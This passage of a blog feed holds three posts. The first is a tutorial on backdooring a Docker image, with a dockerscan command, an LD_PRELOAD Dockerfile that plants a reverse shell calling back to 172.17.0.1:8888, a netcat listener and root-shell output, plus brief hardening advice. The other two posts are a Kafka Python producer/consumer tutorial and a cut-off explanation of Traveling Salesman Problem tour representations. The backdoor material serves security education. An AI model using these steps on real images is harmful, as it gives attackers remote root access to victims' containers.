</span></span></code></pre></div><p>Now we can use <a href="https://github.com/cr0hn/dockerscan">dockerscan</a> trojanize feature to add reverse shell into</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>dockerscan image modify trojanize ubuntu-orginal -l 172.17.0.1 -p <span style="color:#ae81ff">8888</span> -o ubuntu-trojanized
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>docker@docker:~/backdoor$ dockerscan image modify trojanize ubuntu-orginal -l 172.17.0.1 -p 8888 -o ubuntu-trojanized
</span></span><span style="display:flex;"><span>[ * ] Starting analyzing docker image...
</span></span><span style="display:flex;"><span>[ * ] Selected image: &#39;ubuntu-orginal&#39;
</span></span><span style="display:flex;"><span>[ * ] Image trojanized successfully
</span></span><span style="display:flex;"><span>[ * ] Trojanized image location:
</span></span><span style="display:flex;"><span>[ * ]   &gt; /home/docker/backdoor/ubuntu-trojanized.tar
</span></span><span style="display:flex;"><span>[ * ] To receive the reverse shell, only write:
</span></span><span style="display:flex;"><span>[ * ]   &gt; nc -v -k -l 172.17.0.1 8888
</span></span><span style="display:flex;"><span>docker@docker:~/backdoor$ ls
</span></span><span style="display:flex;"><span>ubuntu-orginal  ubuntu-trojanized.tar
</span></span></code></pre></div><p>Next, it is needed to load the trojanized image:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker load -i ubuntu-trojanized.tar 
</span></span></code></pre></div><p>The result should look like that:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>3d87fd0aaa70: Loading layer <span style="color:#f92672">[==================================================</span>&gt;<span style="color:#f92672">]</span>  30.72kB/30.72kB
</span></span><span style="display:flex;"><span>Loaded image: ubuntu:latest
</span></span></code></pre></div><p><strong>The image has been created attacker can run backdoor</strong></p>
<h3 id="preparing-exploited-image---manual-way">Preparing exploited image - Manual Way</h3>
<p>DockerScan use <code>LD_PRELOAD</code> , Linux dynamic linker feature to inject malicious reverse shell library. In this section would be shown how to achieve the same result in a manual way.</p>
<p>Before starting the manual process, let&rsquo;s remove the trojanized image:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker image rm ubuntu:latest --force
</span></span></code></pre></div><h4 id="preparing-dockerfile">Preparing DockerFile</h4>
<p>We would use the same reverse shell library placed in docker scan GitHub page (<a href="https://github.com/cr0hn/dockerscan/blob/master/dockerscan/actions/image/modifiers/shells/reverse_shell.so">https://github.com/cr0hn/dockerscan/blob/master/dockerscan/actions/image/modifiers/shells/reverse_shell.so</a>).</p>
<p>Let&rsquo;s prepare <code>DockerFile</code> with <code>revshell</code> inside for the same ubuntu image</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-docker" data-lang="docker"><span style="display:flex;"><span><span style="color:#66d9ef">FROM</span><span style="color:#e6db74"> ubuntu:latest</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">COPY</span> reverse_shell.so /usr/share/lib/reverse_shell.so<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">ENV</span> LD_PRELOAD<span style="color:#f92672">=</span>/usr/share/lib/reverse_shell.so<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">ENV</span> REMOTE_ADDR<span style="color:#f92672">=</span><span style="color:#ae81ff">172</span>.17.0.1<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">ENV</span> REMOTE_PORT<span style="color:#f92672">=</span><span style="color:#ae81ff">8888</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">CMD</span> [<span style="color:#e6db74">&#34;/bin/bash&#34;</span>]<span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>Dockerfile explanation:</p>
<p>File defined in this environment variable <code>LD_PRELOAD</code> would be loaded <strong>before</strong> any other library (including the C runtime, <code>libc.so</code>). So this runs the reverse shell library before user start his/her shell.</p>
<p><code>REMOTE_ADDR</code>, <code>REMOTE_PORT</code> - environment variables needed by reverse_shell library</p>
<p>Now let&rsquo;s build DockerFile</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker build --tag<span style="color:#f92672">=</span>ubuntu .
</span></span></code></pre></div><p>Result:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>docker build --tag=ubuntu .
</span></span><span style="display:flex;"><span>Sending build context to Docker daemon  12.29kB
</span></span><span style="display:flex;"><span>Step 1/6 : FROM ubuntu:latest
</span></span><span style="display:flex;"><span> ---&gt; d70eaf7277ea
</span></span><span style="display:flex;"><span>Step 2/6 : COPY reverse_shell.so /usr/share/lib/reverse_shell.so
</span></span><span style="display:flex;"><span> ---&gt; Using cache
</span></span><span style="display:flex;"><span> ---&gt; 44a9ff4b409f
</span></span><span style="display:flex;"><span>Step 3/6 : ENV LD_PRELOAD=/usr/share/lib/reverse_shell.so
</span></span><span style="display:flex;"><span> ---&gt; Using cache
</span></span><span style="display:flex;"><span> ---&gt; acad76bec7fa
</span></span><span style="display:flex;"><span>Step 4/6 : ENV REMOTE_ADDR=172.17.0.1
</span></span><span style="display:flex;"><span> ---&gt; Using cache
</span></span><span style="display:flex;"><span> ---&gt; 7f37969b574a
</span></span><span style="display:flex;"><span>Step 5/6 : ENV REMOTE_PORT=8888
</span></span><span style="display:flex;"><span> ---&gt; Using cache
</span></span><span style="display:flex;"><span> ---&gt; 4c658bdb781a
</span></span><span style="display:flex;"><span>Step 6/6 : CMD [&#34;/bin/bash&#34;]
</span></span><span style="display:flex;"><span> ---&gt; Using cache
</span></span><span style="display:flex;"><span> ---&gt; a984d02509ff
</span></span><span style="display:flex;"><span>Successfully built a984d02509ff
</span></span><span style="display:flex;"><span>Successfully tagged ubuntu:latest
</span></span></code></pre></div><p><strong>The image has been created attacker can run backdoor</strong></p>
<h2 id="running-backdoor">Running backdoor</h2>
<p>Next step would be to open in <strong>another tab netcat</strong> to listen on the IP we specified before with command:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>nc -v -k -l 172.17.0.1 <span style="color:#ae81ff">8888</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Listening on jacek <span style="color:#ae81ff">8888</span>
</span></span></code></pre></div><p>When <code>netcat</code> is listening from our IP is time to download trojanized container by the victim.</p>
<p>The last step is to run a shell on the infected image:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker run -it ubuntu:latest /bin/bash
</span></span></code></pre></div><p>When user run trojanized shell <code>netcat</code> listener should connect through <code>reverse shell</code> to malicious container. So the attacker can remotely execute commands on the infected container.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>➜  ~ nc -v -k -l 172.17.0.1 <span style="color:#ae81ff">8888</span>
</span></span><span style="display:flex;"><span>Listening on jacek <span style="color:#ae81ff">8888</span>
</span></span><span style="display:flex;"><span>Connection received on 172.17.0.2 <span style="color:#ae81ff">36408</span>
</span></span><span style="display:flex;"><span>connecting people
</span></span><span style="display:flex;"><span>id
</span></span><span style="display:flex;"><span>uid<span style="color:#f92672">=</span>0<span style="color:#f92672">(</span>root<span style="color:#f92672">)</span> gid<span style="color:#f92672">=</span>0<span style="color:#f92672">(</span>root<span style="color:#f92672">)</span> groups<span style="color:#f92672">=</span>0<span style="color:#f92672">(</span>root<span style="color:#f92672">)</span>
</span></span></code></pre></div><h2 id="how-to-secure">How to secure</h2>
<ul>
<li>Use private docker register that only your build server produce images</li>
<li>Never download docker images from untrusted repository maintainers</li>
<li>Limit registry write access to a minimum (In best case only build server)</li>
<li>Implement <strong>the signing</strong> of docker images (see: <a href="https://github.com/theupdateframework/notary">https://github.com/theupdateframework/notary</a>)</li>
<li>Use docker custom security profiles like <strong>AppArmor</strong>, <strong>Seccomp</strong></li>
<li>Use dynamic analysis tools like Remux</li>
</ul>
<h2 id="sources">Sources</h2>
<ul>
<li><a href="https://github.com/cr0hn/dockerscan">https://github.com/cr0hn/dockerscan</a></li>
<li><a href="https://rafalcieslak.wordpress.com/2013/04/02/dynamic-linker-tricks-using-ld_preload-to-cheat-inject-features-and-investigate-programs/">https://rafalcieslak.wordpress.com/2013/04/02/dynamic-linker-tricks-using-ld_preload-to-cheat-inject-features-and-investigate-programs/</a></li>
<li><a href="https://www.slideshare.net/cr0hn/rootedcon-2017-docker-might-not-be-your-friend-trojanizing-docker-images/1">https://www.slideshare.net/cr0hn/rootedcon-2017-docker-might-not-be-your-friend-trojanizing-docker-images/1</a></li>
<li><a href="https://blog.secureideas.com/2020/10/ld_preload-introduction.html">https://blog.secureideas.com/2020/10/ld_preload-introduction.html</a></li>
</ul>
]]></content></item><item><title>Kafka fake data producer and consumer in python</title><link>https://greencashew.dev/posts/kafka-fake-data-producer-and-consumer-in-python/</link><pubDate>Wed, 16 Sep 2020 22:51:20 +0100</pubDate><guid>https://greencashew.dev/posts/kafka-fake-data-producer-and-consumer-in-python/</guid><description>Overview Sometimes it can happen that we need quickly add some messages into kafka topic. e.g. need to propagate some fake data into development environment. Python api allow for quick integration with kafka topic.
Repository with working example could be found in here.
Setup Kafka At the beginning we need to install and run kafka server. If you already have up and running either zookeeper and kafka you can skip this section.</description><content type="html"><![CDATA[<h2 id="overview">Overview</h2>
<p>Sometimes it can happen that we need quickly add some messages into kafka topic. e.g. need to propagate some fake data into development environment.
Python api allow for quick integration with kafka topic.</p>
<p>Repository with working example could be <a href="https://github.com/greencashew/kafka-python-random-data-example">found in here.</a></p>
<h2 id="setup-kafka">Setup Kafka</h2>
<p>At the beginning we need to install and run kafka server.
If you already have up and running either zookeeper and kafka you can skip this section.</p>
<p>The quickest way is to install in your <strong>project directory</strong>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir scripts <span style="color:#f92672">&amp;&amp;</span> cd scripts <span style="color:#f92672">||</span> exit
</span></span><span style="display:flex;"><span>curl -fsSL https://raw.githubusercontent.com/greencashew/kafka-python-random-data-example/main/scripts/install-kafka.sh -o install-kafka.sh <span style="color:#f92672">&amp;&amp;</span> chmod <span style="color:#ae81ff">777</span> install-kafka.sh <span style="color:#f92672">&amp;&amp;</span> ./install-kafka.sh
</span></span><span style="display:flex;"><span>curl -fsSL https://raw.githubusercontent.com/greencashew/kafka-python-random-data-example/main/scripts/run-zookeeper.sh -o run-zookeeper.sh <span style="color:#f92672">&amp;&amp;</span> chmod <span style="color:#ae81ff">777</span> run-zookeeper.sh
</span></span><span style="display:flex;"><span>curl -fsSL https://raw.githubusercontent.com/greencashew/kafka-python-random-data-example/main/scripts/run-kafka.sh -o run-kafka.sh <span style="color:#f92672">&amp;&amp;</span> chmod <span style="color:#ae81ff">777</span> run-kafka.sh
</span></span></code></pre></div><p>Kafka should be installed in <code>vendor</code> directory. <code>KAFKA_HOME</code> should be defined in <code>.env</code> file. In <code>scripts</code> dir it should appear <code>run-zookeeper.sh</code> ,<code>run-kafka.sh</code> scripts.</p>
<p>To run kafka open terminal window under <code>scripts</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>./run-zookeeper.sh
</span></span></code></pre></div><p>In another window run kafka server:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>./run-kafka.sh
</span></span></code></pre></div><h2 id="python-dependencies">Python dependencies</h2>
<p>Before start project it is needed to add required libraries into <code>requirements.txt</code> file:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-txt" data-lang="txt"><span style="display:flex;"><span>Faker==6.6.2
</span></span><span style="display:flex;"><span>kafka-python
</span></span></code></pre></div><p>Another step is to install virtual environment and missing dependencies:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>virtualenv venv
</span></span><span style="display:flex;"><span>source venv/bin/activate
</span></span><span style="display:flex;"><span>pip install -r requirements.txt
</span></span></code></pre></div><h2 id="producer">Producer</h2>
<p>In example below we can see how to propagate fake trip invoices into kafka topic.
You have to remember to change <code>BOOTSTRAP_SERVER</code> if it is different one.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">from</span> kafka <span style="color:#f92672">import</span> KafkaProducer
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> json
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> time
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> datetime
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> faker <span style="color:#f92672">import</span> Faker
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>KAFKA_TOPIC <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;invoices&#34;</span>
</span></span><span style="display:flex;"><span>BOOTSTRAP_SERVER <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;localhost:9092&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>fake <span style="color:#f92672">=</span> Faker()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">get_random_invoice</span>():
</span></span><span style="display:flex;"><span>    tax_percentage <span style="color:#f92672">=</span> <span style="color:#ae81ff">12</span>
</span></span><span style="display:flex;"><span>    net_price <span style="color:#f92672">=</span> fake<span style="color:#f92672">.</span>random_int(min<span style="color:#f92672">=</span><span style="color:#ae81ff">3</span>, max<span style="color:#f92672">=</span><span style="color:#ae81ff">15</span>)
</span></span><span style="display:flex;"><span>    date_time_invoice_created <span style="color:#f92672">=</span> fake<span style="color:#f92672">.</span>date_time_between(start_date<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;-20y&#39;</span>, end_date<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;now&#39;</span>, tzinfo<span style="color:#f92672">=</span><span style="color:#66d9ef">None</span>) \
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">.</span>strftime(<span style="color:#e6db74">&#39;%Y-%m-</span><span style="color:#e6db74">%d</span><span style="color:#e6db74">T%H:%M:%S&#39;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;id&#34;</span>: fake<span style="color:#f92672">.</span>random_number(digits<span style="color:#f92672">=</span><span style="color:#ae81ff">12</span>),
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;name&#34;</span>: fake<span style="color:#f92672">.</span>name(),
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;date&#34;</span>: date_time_invoice_created,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;address&#34;</span>: fake<span style="color:#f92672">.</span>address()<span style="color:#f92672">.</span>replace(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#e6db74">&#34; &#34;</span>),
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;startGate&#34;</span>: fake<span style="color:#f92672">.</span>city(),
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;exitGate&#34;</span>: fake<span style="color:#f92672">.</span>city(),
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;price&#34;</span>: {
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;net&#34;</span>: net_price,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;taxPercentage&#34;</span>: tax_percentage,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;total&#34;</span>: net_price <span style="color:#f92672">+</span> (net_price <span style="color:#f92672">*</span> (tax_percentage <span style="color:#f92672">/</span> <span style="color:#ae81ff">100</span>))
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">json_serializer</span>(data):
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> json<span style="color:#f92672">.</span>dumps(data)<span style="color:#f92672">.</span>encode(<span style="color:#e6db74">&#34;utf-8&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>producer <span style="color:#f92672">=</span> KafkaProducer(bootstrap_servers<span style="color:#f92672">=</span>[BOOTSTRAP_SERVER],
</span></span><span style="display:flex;"><span>                         value_serializer<span style="color:#f92672">=</span>json_serializer)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> __name__ <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;__main__&#34;</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">while</span> <span style="color:#ae81ff">1</span>:
</span></span><span style="display:flex;"><span>        random_invoice <span style="color:#f92672">=</span> get_random_invoice()
</span></span><span style="display:flex;"><span>        print(<span style="color:#e6db74">&#34;</span><span style="color:#e6db74">{}</span><span style="color:#e6db74">: </span><span style="color:#e6db74">{}</span><span style="color:#e6db74">&#34;</span><span style="color:#f92672">.</span>format(datetime<span style="color:#f92672">.</span>datetime<span style="color:#f92672">.</span>now()<span style="color:#f92672">.</span>strftime(<span style="color:#e6db74">&#39;</span><span style="color:#e6db74">%d</span><span style="color:#e6db74">-%m-%Y %H:%M:%S&#39;</span>), random_invoice))
</span></span><span style="display:flex;"><span>        producer<span style="color:#f92672">.</span>send(KAFKA_TOPIC, random_invoice)
</span></span><span style="display:flex;"><span>        time<span style="color:#f92672">.</span>sleep(fake<span style="color:#f92672">.</span>random_int(<span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">3</span>))
</span></span></code></pre></div><p>To run <code>producer.py</code> simply use:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>python3 ./producer.py
</span></span></code></pre></div><h2 id="consumer">Consumer</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">from</span> datetime <span style="color:#f92672">import</span> datetime
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> kafka <span style="color:#f92672">import</span> KafkaConsumer
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> sys
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>KAFKA_TOPIC <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;invoices&#34;</span>
</span></span><span style="display:flex;"><span>BOOTSTRAP_SERVER <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;localhost:9092&#39;</span>
</span></span><span style="display:flex;"><span>GROUP_ID <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;consumerGroup1&#39;</span>
</span></span><span style="display:flex;"><span>AUTO_OFFSET_RESET <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;earliest&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> __name__ <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;__main__&#34;</span>:
</span></span><span style="display:flex;"><span>    consumer <span style="color:#f92672">=</span> KafkaConsumer(KAFKA_TOPIC,
</span></span><span style="display:flex;"><span>                             group_id<span style="color:#f92672">=</span>GROUP_ID,
</span></span><span style="display:flex;"><span>                             bootstrap_servers<span style="color:#f92672">=</span>BOOTSTRAP_SERVER,
</span></span><span style="display:flex;"><span>                             auto_offset_reset<span style="color:#f92672">=</span>AUTO_OFFSET_RESET)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">try</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> message <span style="color:#f92672">in</span> consumer:
</span></span><span style="display:flex;"><span>            print(<span style="color:#e6db74">&#34;[</span><span style="color:#e6db74">{}</span><span style="color:#e6db74">][</span><span style="color:#e6db74">{}</span><span style="color:#e6db74">:</span><span style="color:#e6db74">{}</span><span style="color:#e6db74">:</span><span style="color:#e6db74">{}</span><span style="color:#e6db74">]: </span><span style="color:#e6db74">{}</span><span style="color:#e6db74">&#34;</span><span style="color:#f92672">.</span>format(
</span></span><span style="display:flex;"><span>                datetime<span style="color:#f92672">.</span>now()<span style="color:#f92672">.</span>strftime(<span style="color:#e6db74">&#39;</span><span style="color:#e6db74">%d</span><span style="color:#e6db74">-%m-%Y %H:%M:%S&#39;</span>),
</span></span><span style="display:flex;"><span>                message<span style="color:#f92672">.</span>topic,
</span></span><span style="display:flex;"><span>                message<span style="color:#f92672">.</span>partition,
</span></span><span style="display:flex;"><span>                message<span style="color:#f92672">.</span>offset,
</span></span><span style="display:flex;"><span>                message<span style="color:#f92672">.</span>value))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">except</span> <span style="color:#a6e22e">KeyboardInterrupt</span>:
</span></span><span style="display:flex;"><span>        sys<span style="color:#f92672">.</span>exit()
</span></span></code></pre></div><p>To run <code>consumer.py</code> simply use:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>python3 ./consumer.py
</span></span></code></pre></div><h2 id="end-words">End words</h2>
<p>This is very basic example without serializers/deserializers applied. For more details i recommend visiting <a href="https://kafka-python.readthedocs.io/en/master/usage.html">official documentation</a>
Python api also support <a href="https://avro.apache.org/docs/current/gettingstartedpython.html">avro schemas</a> which is commonly used in kafka.</p>
<h2 id="sources">Sources</h2>
<ul>
<li><a href="https://kafka.apache.org/">https://kafka.apache.org/</a></li>
<li><a href="https://kafka-python.readthedocs.io/en/master/usage.html">https://kafka-python.readthedocs.io/en/master/usage.html</a></li>
<li><a href="https://avro.apache.org/docs/current/gettingstartedpython.html">https://avro.apache.org/docs/current/gettingstartedpython.html</a></li>
<li><a href="https://github.com/greencashew/kafka-python-random-data-example">https://github.com/greencashew/kafka-python-random-data-example</a></li>
</ul>
]]></content></item><item><title>Representations and Crossovers - Traveling Salesman Problem</title><link>https://greencashew.dev/posts/representations-and-crossovers-traveling-salesman-problem/</link><pubDate>Mon, 29 Jun 2020 10:51:20 +0100</pubDate><guid>https://greencashew.dev/posts/representations-and-crossovers-traveling-salesman-problem/</guid><description>Representations Path representation The most natural representation TOUR: 0-2-4-6-1-5-9-10-7-3-8 - Connected Cities Cycle PATH: (0 2 4 6 1 5 9 10 7 3 8) Adjacency representation Tour is represented as a list of n cities. Each City connection is defined by a list index TOUR: 0-2-4-6-1-5-9-10-7-3-8 - Connected Cities Cycle INDEX: 0 1 2 3 4 5 6 7 8 9 10 ADJACENCY: [2 5 4 8 6 9 1 3 0 10 7] Ordinal representation Tour is represented as a list of n cities.</description><content type="html"><![CDATA[<h2 id="representations">Representations</h2>
<h3 id="path-representation">Path representation</h3>
<ul>
<li>The most natural representation</li>
</ul>
<pre tabindex="0"><code>TOUR:  0-2-4-6-1-5-9-10-7-3-8 - Connected Cities Cycle

PATH: (0 2 4 6 1 5 9 10 7 3 8)
</code></pre><h3 id="adjacency-representation">Adjacency representation</h3>
<ul>
<li>Tour is represented as a list of <code>n</code> cities.</li>
<li>Each City connection is defined by a list index</li>
</ul>
<pre tabindex="0"><code>TOUR:         0-2-4-6-1-5-9-10-7-3-8 - Connected Cities Cycle

INDEX:        0 1 2 3 4 5 6 7 8 9 10
ADJACENCY:   [2 5 4 8 6 9 1 3 0 10 7]
</code></pre><h3 id="ordinal-representation">Ordinal representation</h3>
<ul>
<li>Tour is represented as a list of <code>n</code> cities.</li>
<li><code>i</code>-th element of the list is a number</li>
</ul>
<p><strong>Translation:</strong></p>
<p>Given:</p>
<ul>
<li>Tour to translate e.g. <code>0-2-4-6-1-5-9-10-7-3-8</code></li>
<li>Reference list (example path) e.g. <code>(0 1 2 3 4 5 6 7 8 9 10)</code></li>
<li>Empty ordinal list <code>( )</code></li>
</ul>
<p>Algorithm:</p>
<ol>
<li>Find the position of <strong>tour <code>i</code>-th</strong> element in the <strong>reference list</strong></li>
<li>Pick a number and append it to ordinal list</li>
<li><strong>Remove number</strong> from the reference list</li>
<li><strong>Pick next</strong> city from Tour.</li>
<li>Go to point 1</li>
</ol>
<pre tabindex="0"><code>TOUR:            0-2-4-6-1-5-9-10-7-3-8
INDEX:           0 1 2 3 4 5 6 7 8 9 10
REFERENCE LIST: (0 1 2 3 4 5 6 7 8 9 10)

CONVERSION FROM TOUR(&amp; REFERENCE) TO ORDINAL:
</code></pre><table>
<thead>
<tr>
<th style="text-align:left">TOUR ELEMENT</th>
<th>REFERENCE</th>
<th>ORDINAL</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">0</td>
<td>(0 1 2 3 4 5 6 7 8 9 10)</td>
<td>(0)</td>
</tr>
<tr>
<td style="text-align:left">2</td>
<td>(1 2 3 4 5 6 7 8 9 10)</td>
<td>(0 1)</td>
</tr>
<tr>
<td style="text-align:left">4</td>
<td>(1 3 4 5 6 7 8 9 10)</td>
<td>(0 1 2)</td>
</tr>
<tr>
<td style="text-align:left">6</td>
<td>(1 3 5 6 7 8 9 10)</td>
<td>(0 1 2 3)</td>
</tr>
<tr>
<td style="text-align:left">1</td>
<td>(1 3 5 7 8 9 10)</td>
<td>(0 1 2 3 0)</td>
</tr>
<tr>
<td style="text-align:left">5</td>
<td>(3 5 7 8 9 10)</td>
<td>(0 1 2 3 0 1)</td>
</tr>
<tr>
<td style="text-align:left">9</td>
<td>(3 7 8 9 10)</td>
<td>(0 1 2 3 0 1 3)</td>
</tr>
<tr>
<td style="text-align:left">10</td>
<td>(3 7 8 10)</td>
<td>(0 1 2 3 0 1 3 3)</td>
</tr>
<tr>
<td style="text-align:left">7</td>
<td>(3 7 8)</td>
<td>(0 1 2 3 0 1 3 3 1)</td>
</tr>
<tr>
<td style="text-align:left">3</td>
<td>(3 8)</td>
<td>(0 1 2 3 0 1 3 3 1 0)</td>
</tr>
<tr>
<td style="text-align:left">8</td>
<td>(8)</td>
<td>(0 1 2 3 0 1 3 3 1 0 0)</td>
</tr>
</tbody>
</table>
<pre tabindex="0"><code>CONVERSION FROM ORDINAL(&amp; REFERENCE) TO TOUR:
ORDINAL LIST:   (0 1 2 3 0 1 3 3 1 0 0)
REFERENCE LIST: (0 1 2 3 4 5 6 7 8 9 10)
</code></pre><table>
<thead>
<tr>
<th>REFERENCE</th>
<th>ORDINAL</th>
<th style="text-align:right">TOUR ELEMENT</th>
</tr>
</thead>
<tbody>
<tr>
<td>(0 1 2 3 4 5 6 7 8 9 10)</td>
<td>(0 1 2 3 0 1 3 3 1 0 0)</td>
<td style="text-align:right">0</td>
</tr>
<tr>
<td>(1 2 3 4 5 6 7 8 9 10)</td>
<td>(1 2 3 0 1 3 3 1 0 0)</td>
<td style="text-align:right">2</td>
</tr>
<tr>
<td>(1 3 4 5 6 7 8 9 10)</td>
<td>(2 3 0 1 3 3 1 0 0)</td>
<td style="text-align:right">4</td>
</tr>
<tr>
